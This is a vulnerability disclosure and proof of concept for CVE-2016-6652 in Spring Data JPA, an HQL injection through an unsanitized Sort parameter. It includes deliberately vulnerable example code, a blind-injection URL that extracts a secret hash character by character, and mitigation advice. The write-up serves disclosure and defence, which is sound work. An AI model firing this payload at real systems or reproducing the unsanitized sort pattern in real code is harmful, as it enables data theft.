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PoC for blind SQL injection bug found in Solita Webhack 2016.

• Founders: Niklas Särökaari, Joona Immonen
• Analysis: Arto Santala, Niklas Särökaari, Joona Immonen, Antti Virtanen, Michael Holopainen
• PoC: Antti Ahola, Antti Virtanen

CVE: (https://pivotal.io/security/cve-2016-6652)

This has been fixed in Spring Data, version 1.9.5, with this commit: (https://github.com/spring-projects/spring-data-jpa/commit/b8e7fe)

The problem briefly

Spring Data relies on helper class QueryUtils, which does the following:

QueryUtils.applySorting("select person from Person person", new Sort("firstName"))

Effectively this doesn't validate or escape the string given to Sort constructor properly. This method is not normally accessed directly by application developers as creating raw queries with plain strings is not a good practice, but relatively innocent code can inadvertently contain SQL injection because of this. The PoC demonsrates how this might realistically happen (and did happen in our real-life application).

Many tutorials for Spring Data JPA explain that it's possible to create sortable queries easily, without actually worrying about SQL in this manner:

interface PersonRepository extends PagingAndSortingRepository<Person, Long> {
  
  @Query("SELECT person FROM Person person WHERE " +
      "LOWER(person.firstName) LIKE LOWER(CONCAT('%',:searchTerm, '%')) OR " +
      "LOWER(person.lastName) LIKE LOWER(CONCAT('%',:searchTerm, '%'))")
  List<Person> findBySearchTerm(@Param("searchTerm") String searchTerm, Sort sort);
}

The query doesn't contain ORDER BY but Spring will handle it, using the aforementioned applySorting method. Creating a sortable REST interface is easy:

    @RequestMapping("/personfind")
    public Iterable<PersonDTO> personFind(@RequestParam(value="order", defaultValue="firstName") String order,
                                          @RequestParam(value="term" ) String term) {
      Iterable<Person> persons = personRepo.findBySearchTerm(term, new Sort(order));
      // mapping to PersonDTO omitted.

Search parameter term gets properly sanitized, but parameter sort will not be sanitized in this case.

How to exploit?

Exploiting is not as straightforward as it would seem, because it depends on multiple factors. The query is not a raw SQL query and tricks like "union all select * from .." may not work. It might be a JPQL-query or HQL query, but still exploitable. See HQL for pentesting for further ideas.

A short example:

The search term selects only two records from the database. Ordering by firstName yields Huppu,Tuppu. Boolean blind HQL injection is possible by checking if the order changes. The content of a secret hash can be deduced by playing with the order parameter.

What exactly happens depends on the underlying database. With PostgreSQL 9.2, brute forcing character by character works like this.

Example injection:

http://localhost:8080/personfind?term=uppu&order=(case%20when%20%20substr(secretHash,1,1)=%27E%27%20then%201%20else%202%20end)

PostgreSQL query after Spring HQL translation:

select person0_.id as id1_1_, person0_.first_name as first_na2_1_, person0_.last_name as last_nam3_1_, person0_.secret_hash as secret_h4_1_ from person person0_ where lower(person0_.first_name) like lower(('%'||$1||'%')) or lower(person0_.last_name) like lower(('%'||$2||'%')) order by case when substr(person0_.secret_hash, 1, 1)='E' then 1 else 2 end asc

Suggestions

• Spring Data should sanitize the strings encapsulated in the Order class. This might mean that some valid, but weird, definitions would no longer work, but for the majority of programmers this should be the default behavior. And it's possible to introduce a static factory method to create "unsafe Order" for the marginal cases. This might break some of the current applications.

• If Order will not be changed, introduce a static factory method to create "safe Order" and warn programmers that the current best practice is vulnerable and prone to errors.

• Meanwhile, a workaround is to sanitize the order in the application level using something like this:

 /**
  * This utility will filter away any characters that are not used in column names,
  * granting immunity to sql injection attacks
  *
  * @param value
  * @return
  */
  private String cleanseString(String value) {
    return value.replaceAll("[^A-Za-z0-9_.]", "");
  }

This will break function calls in order by (as parenthesis get removed), which may not be suitable for all users.